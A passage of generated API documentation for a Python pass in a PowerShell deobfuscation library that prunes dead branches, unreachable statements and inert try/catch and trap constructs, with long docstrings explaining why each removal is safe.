        """
        while self._prune(node):
            self.mark_changed()

    def _prune(self, node: Node) -> bool:
        """
        Propose the prunes of every body that no statement proposed here encloses, land them as one
        batch, and report whether the tree moved. A statement its own body's plan lets through is
        being rewritten, so what is inside it is judged by the next batch, against the tree that
        rewrite leaves.
        """
        cache = model_cache(self, node)
        plans = Ps1RemovalPlans(
            handlers=cache.handlers,
            under_the_world=False,
            error_state=cache.error_state,
            removals_may_fault=False,
        )
        pending: list[Node] = [node]
        while pending:
            parent = pending.pop()
            sink = output_sink(parent)
            if sink is None or sink is OutputSink.CAPTURED:
                pending.extend(parent.children())
                continue
            self._prune_body(parent, cache, plans)
            settled = {id(statement) for statement in plans.allowed_in(parent)}
            pending.extend(child for child in parent.children() if id(child) not in settled)
        return plans.commit()

    def _prune_body(
        self,
        parent: Node,
        cache: Ps1ModelCache,
        plans: Ps1RemovalPlans,
    ) -> None:
        """
        Propose rewriting each statement of one body into what its condition has already been
        proved to make of it.

        Deleting a write to the output stream is not this pass's to make: reading a body's value as
        unobserved is not something position can say — only
        `refinery.lib.scripts.ps1.analysis.effects.Ps1OutputFlow` can, by resolving the destination
        across the call graph — so it is a decision
        `refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval` owns alone.

        What is left removes only constructs whose condition is already proved constant, plus
        statements the control-flow graph reports no path can reach — a statement after `return`,
        `throw` or `exit`, which never runs and so cannot be what an enclosing handler catches
        (`_never_runs`). Its removal cannot empty a body that pruning was not already entitled to
        empty, because a body's entry is always reachable. A `trap` is not asked: its handler is
        reached only through the exceptional edges of the body it guards, so an unreachable handler
        means nothing threw, not that the declaration is dead, and `_prune_trap` owns that decision.
        A prune that would drop a `class` or `enum` definition standing in the deleted region is
        refused whole, because the engine registers those when it compiles the script — before any
        statement runs — so one inside a branch that never executes still defines its type, and
        deleting it changes what the surviving script resolves that name to.
        """
        dominance = cache.dominance
        # A handler body — a `trap`, a `catch`, or a `finally` — runs on a path this deletion does
        # not walk: a `trap` or `catch` only when the code it guards throws, so from normal flow it
        # reads as unreachable exactly when nothing threw, which is not the same as its statements
        # being dead. Emptying one here would strip a payload `_prune_trap` and `_prune_try` weigh as
        # a whole, and an empty guarded body is evidence about an earlier pass rather than about the
        # code, so the unreachability deletion stays out of every handler body.
        deletes_unreachable = not self._within_handler_body(parent)
        if (body := get_body(parent)) is None:
            return
        for index, stmt in enumerate(body):
            if (
                deletes_unreachable
                and not isinstance(stmt, Ps1TrapStatement)
                and self._never_runs(stmt, body[index - 1] if index else None, dominance)
            ):
                replacement: list[Statement] = []
            else:
                pruned = self._try_prune(stmt, cache)
                if pruned is None:
                    continue
                replacement = pruned
            if _drops_a_type_definition(stmt, replacement):
                reattach(stmt)
                continue
            plans.propose_in(parent, stmt, replacement)

    @staticmethod
    def _within_handler_body(node: Node) -> bool:
        """
        Whether `node` is a body nested inside a `trap`, a `catch`, or a `finally`, up to the nearest
        control-flow-graph boundary. A statement in a `trap` or `catch` is reached only by the
        guarded code throwing, so its normal-flow unreachability says nothing about whether it is
        dead; a `finally` always runs and so is never wrongly deleted, but it is excluded with the
        others so that the whole handler decision stays with the construct-specific passes.
        """
        current = node
        while current is not None and not isinstance(current, Ps1ScriptBlock):
            parent = current.parent
            if isinstance(parent, (Ps1TrapStatement, Ps1CatchClause)):
                return True
            if isinstance(parent, Ps1TryCatchFinally) and parent.finally_block is current:
                return True
            current = parent
        return False

    @staticmethod
    def _never_runs(
        stmt: Statement,
        previous: Statement | None,
        dominance: DominatorModel,
    ) -> bool:
        """
        Whether no run reaches `stmt`, the statement after `previous` in its body. The graph says so
        when no node of the statement is reached
        (`refinery.lib.scripts.analysis.dominance.DominatorModel.never_runs`), which settles it for
        a statement the graph keys a node to. A `try` is keyed none, and one whose body runs nothing
        on the normal path, such as `try {} catch { <payload> }`, is entered without reaching any
        node of it; it never runs only where `previous` never completes. At the start of a body
        nothing here says whether the body is entered, so such a statement stays there.
        """
        if not dominance.never_runs(stmt):
            return False
        located = dominance.locate(stmt)
        if located is not None and located[1].element is stmt:
            return True
        return previous is not None and not dominance.completes(previous)

    def _try_prune(self, stmt: Statement, cache: Ps1ModelCache) -> list[Statement] | None:
        if isinstance(stmt, Ps1WhileLoop):
            return self._prune_while(stmt, cache.dominance)
        if isinstance(stmt, Ps1DoLoop):
            return self._prune_do_loop(stmt, cache.dominance)
        if isinstance(stmt, Ps1ForLoop):
            return self._prune_for(stmt, cache.dominance)
        if isinstance(stmt, Ps1IfStatement):
            return self._prune_if(stmt)
        if isinstance(stmt, Ps1SwitchStatement):
            return self._prune_switch(stmt)
        if isinstance(stmt, Ps1TryCatchFinally):
            return self._prune_try(stmt, cache)
        if isinstance(stmt, Ps1TrapStatement):
            return self._prune_trap(stmt, cache)
        return None

    @staticmethod
    def _prune_while(node: Ps1WhileLoop, dominance: DominatorModel) -> list[Statement] | None:
        truth = is_truthy(node.condition)
        if truth is False:
            return []
        if node.body is None or (body := _body_running_once(node.body.body, dominance)) is None:
            return None
        if truth is True or node.condition is None:
            return body
        return [Ps1IfStatement(clauses=[(node.condition, Block(body=body))])]

    @staticmethod
    def _prune_do_loop(node: Ps1DoLoop, dominance: DominatorModel) -> list[Statement] | None:
        if node.body is not None:
            body = node.body.body
            if (once := _body_running_once(body, dominance)) is not None:
                return once
            trivially_exits = (
                is_truthy(node.condition) is True if node.is_until
                else is_truthy(node.condition) is False
            )
            if trivially_exits:
                for stmt in body:
                    for child in stmt.walk():
                        if isinstance(child, (Ps1BreakStatement, Ps1ContinueStatement)):
                            return None
                return list(body)
        return None

    @staticmethod
    def _prune_for(node: Ps1ForLoop, dominance: DominatorModel) -> list[Statement] | None:
        truth = _evaluate_for_condition(node)
        if truth is None:
            truth = is_truthy(node.condition)
        if truth is False:
            result: list[Statement] = []
            if node.initializer is not None:
                result.append(_hoisted_initializer(node.initializer))
            return result
        body = None if node.body is None else _body_running_once(node.body.body, dominance)
        if body is not None:
            result = []
            if node.initializer is not None:
                result.append(_hoisted_initializer(node.initializer))
            if truth is True or node.condition is None:
                result.extend(body)
            else:
                result.append(Ps1IfStatement(clauses=[(node.condition, Block(body=body))]))
            return result
        if node.body is None or not node.body.body:
            terminal = _simulate_empty_for_terminal(node)
            if terminal is not None:
                variable, value = terminal
                target = Ps1Variable(name=variable.name, scope=variable.scope)
                assignment = Ps1AssignmentExpression(
                    target=target, operator='=', value=_make_int_literal(value))
                return [Ps1ExpressionStatement(expression=assignment)]
        return None

    @staticmethod
    def _prune_if(node: Ps1IfStatement) -> list[Statement] | None:
        kept_clauses: list[tuple] = []
        for index, (condition, block) in enumerate(node.clauses):
            truth = is_truthy(condition)
            if truth is True:
                return list(block.body)
            if truth is False:
                continue
            kept_clauses.append((condition, block))
            kept_clauses.extend(node.clauses[index + 1:])
            break
        else:
            if node.else_block is not None:
                return list(node.else_block.body)
            return []
        if len(kept_clauses) == len(node.clauses):
            return None
        # A new statement rather than a clause list spliced into this one: a pass proposes an edit
        # and does not perform it, so the proposal has to be something the vetoes can compare
        # against the original. Dropping the clauses in place makes the two the same object, and a
        # payload under the `if ($false)` arm of a chain would read as having survived it.
        return [Ps1IfStatement(clauses=kept_clauses, else_block=node.else_block)]

    @staticmethod
    def _prune_switch(node: Ps1SwitchStatement) -> list[Statement] | None:
        if node.regex or node.wildcard or node.file:
            return None
        value = _switch_literal(node.value)
        if value is _NO_LITERAL:
            return None
        default_body: list[Statement] | None = None
        result: list[Statement] = []
        matched = False
        for condition, block in node.clauses:
            if condition is None:
                default_body = block.body
                continue
            cond_val = _switch_literal(condition)
            if cond_val is _NO_LITERAL:
                # A non-constant clause condition might match at runtime; cannot resolve statically.
                return None
            if switch_matches(value, cond_val, case_sensitive=node.case_sensitive):
                body = _switch_clause_body(block.body)
                if body is None:
                    return None
                stmts, stop = body
                result.extend(stmts)
                matched = True
                if stop:
                    return result
        if matched:
            return result
        if default_body is not None:
            body = _switch_clause_body(default_body)
            if body is None:
                return None
            return body[0]
        return []

    def _prune_try(self, node: Ps1TryCatchFinally, cache: Ps1ModelCache) -> list[Statement] | None:
        """
        Resolve a `try`/`catch`/`finally` into the code that certainly runs in its place, by one of
        two disjoint routes.

        The first is the certain-throw fold, `_collapse_through_certain_throw`: a body proven to
        throw runs its fault-free prefix, then the handler that takes the throw, then the `finally`,
        and everything after the throw is dead. The second is the no-throw dissolution below: a body
        that cannot throw at all is the same statements outside the construct as inside it, followed
        by the `finally` that always runs. The two never both apply — one needs a proven throw and
        the other a proven absence of one — so the order between them is free.

        The dissolution requires every `catch` clause to be empty, because a handler with a body is
        live code whose reachability it cannot decide; the fold lifts exactly such a body, but only
        where the throw that reaches it is proven. An empty or absent try body needs no separate
        case because `_try_body_survivors` accepts it vacuously, and emptiness is no license to drop
        a `catch`: it is rarely how the source was written, it is what an earlier pass left behind,
        so it is evidence about that pass and not about whether the original body could throw.

        What an empty `catch` licenses for the dissolution is narrower than it looks. It licenses
        *deleting* a statement that raises, since the error was being swallowed either way. It does
        not license moving one out, and every statement here is moved, not deleted — so the gate is
        fault-freedom rather than purity, and a body whose statements merely look harmless keeps its
        construct.
        """
        folded = self._collapse_through_certain_throw(node, cache)
        if folded is not None:
            return folded
        for clause in node.catch_clauses:
            if clause.body is not None and clause.body.body:
                return None
        survivors = _try_body_survivors(node, cache)
        if survivors is None:
            return None
        finally_body = node.finally_block.body if node.finally_block is not None else []
        return survivors + list(finally_body)

    def _collapse_through_certain_throw(
        self, node: Ps1TryCatchFinally, cache: Ps1ModelCache,
    ) -> list[Statement] | None:
        """
        Fold a `try` body certain to throw into the statements certain to run: the fault-free prefix
        that precedes the throw, then the body of the `catch` that takes it, then the `finally`.
        Everything after the throw in the `try` body is dead — a terminating error abandons the rest
        of the block — and is dropped.

        Every part of that is proven rather than guessed.
        `refinery.lib.scripts.ps1.analysis.values.statement_certainly_throws` fires only where the
        value domain computes a throw 5.1 also takes, so a body the analysis cannot decide
        is left whole for the discard remover to keep (`deletion_is_observable`). The statements
        before the throw must be provably fault-free, so control is certain to reach it. The landing
        handler must be certain: every error the throw may raise lands in that one `catch` with
        nothing on the way, which a narrow `catch` written first and a `trap` written in the body,
        hoisted over the whole block, both deny. And the body must mean the same lifted: every error
        a point of it may raise has to end up where it does inside the `catch`, which a failing line
        anywhere but at the end of the body denies, and so does one in a block of the body that 5.1
        would report and carry on in once the `catch` no longer passes errors outward. Both are read
        off `refinery.lib.scripts.ps1.analysis.dispatch`.

        A `throw` that is dropped rather than lifted must lose nothing but the raise. A value-domain
        certain throw is computed over constants and evaluates nothing observable, but a `throw`
        evaluates its argument — an assignment, a command, a write to the host — before the error
        the lift stands in for, so a `throw` whose argument is not side-effect-free keeps its
        construct rather than have that effect dropped with the raise.

        Three things a lifted `catch` body could observe are refused rather than reasoned about. A
        read of the error record anywhere in the script (`$Error`, `$?`, `$StackTrace`) is refused,
        because the fold removes the raise that would fill it. A body naming `$_` or `$PSItem` is
        refused, because those hold the current error only inside the `catch`. And a non-empty
        `catch` body beside a non-empty `finally` is left alone, because a handler that does not
        complete normally runs its `finally` before it leaves, which the flat sequence would not.
        """
        body = node.try_block.body if node.try_block is not None else []
        prefix: list[Statement] = []
        raiser: Statement | None = None
        for stmt in body:
            if statement_certainly_throws(stmt):
                raiser = stmt
                break
            if not isinstance(stmt, Ps1ExpressionStatement):
                return None
            if stmt.expression is not None and not is_fault_free(stmt.expression):
                return None
            prefix.append(stmt)
        if raiser is None:
            return None
        if isinstance(raiser, Ps1ThrowStatement) and raiser.pipeline is not None:
            if not is_side_effect_free(raiser.pipeline, cache.world_reach):
                return None
        handler = cache.handlers.certain_handler(raiser)
        if handler is None or handler.parent is not node:
            return None
        if cache.commands.reads_the_error_record():
            return None
        handler_body = handler.body.body if handler.body is not None else []
        if any(is_pipeline_item(element) for stmt in handler_body for element in stmt.walk()):
            return None
        finally_body = node.finally_block.body if node.finally_block is not None else []
        if handler_body and finally_body:
            return None
        if not cache.handlers.lifts_unchanged(handler):
            return None
        return prefix + list(handler_body) + list(finally_body)

    @staticmethod
    def _prune_trap(node: Ps1TrapStatement, cache: Ps1ModelCache) -> list[Statement] | None:
        """
        Remove a `trap` handler whose body produces no observable output and whose scope cannot
        throw a terminating error the trap would intercept. A trap only runs when the code it guards
        throws; injected-noise traps (`trap { continue }`, an empty `trap {}`, `trap { break }`)
        merely swallow or re-raise without emitting anything, so deleting them is invisible — but
        only where nothing they guard actually throws. A body that performs a side effect — a real
        logging handler such as `trap { Write-Host 'err' }` — keeps the trap intact.

        Whether anything the trap guards still raises is not asked here at all. It is the question
        `refinery.lib.scripts.ps1.analysis.faults.Ps1FaultReach.removing_traps_is_observed`
        answers, and it is asked of every proposal this pass files, over the exceptional edges the
        graph wired rather than over a search for the `throw` keyword — which would miss

            trap { continue }; Get-Item nope -ErrorAction Stop

        whose error ends the script exactly as a `throw` does.

        The gate that is left is purity, not emission: the removal is not provable under strict
        semantics at all, and under the premise that the guarded code does not throw, a body that
        merely emits never runs either, so `trap { 5 }` and `trap { Get-Date }` are dropped alike.
        Only a body whose statements would do something observable is worth keeping the trap for.
        """
        body = node.body.body if node.body is not None else []
        for stmt in body:
            if isinstance(stmt, (Ps1BreakStatement, Ps1ContinueStatement)):
                if stmt.label is not None:
                    return None
                continue
            if isinstance(stmt, Ps1ExpressionStatement):
                if stmt.expression is None or is_side_effect_free(
                    stmt.expression, cache.world_reach
                ):
                    continue
            return None
        return []

Ancestors

Methods

def visit(self, node)

Prune until a batch lands nothing, so that after one visit no rule of this pass applies anywhere in the tree. The junk pass decides what is bare-output noise right after this one and is sound only on such a tree: Ps1JunkStatementRemoval. Each batch judges every body against one build of the models and lands its edits together, so the models are rebuilt once per batch rather than once per body that changed.

Expand source code Browse git
def visit(self, node: Node):
    """
    Prune until a batch lands nothing, so that after one visit no rule of this pass applies
    anywhere in the tree. The junk pass decides what is bare-output noise right after this one
    and is sound only on such a tree:
    `refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval`. Each batch judges
    every body against one build of the models and lands its edits together, so the models are
    rebuilt once per batch rather than once per body that changed.
    """
    while self._prune(node):
        self.mark_changed()

Inherited members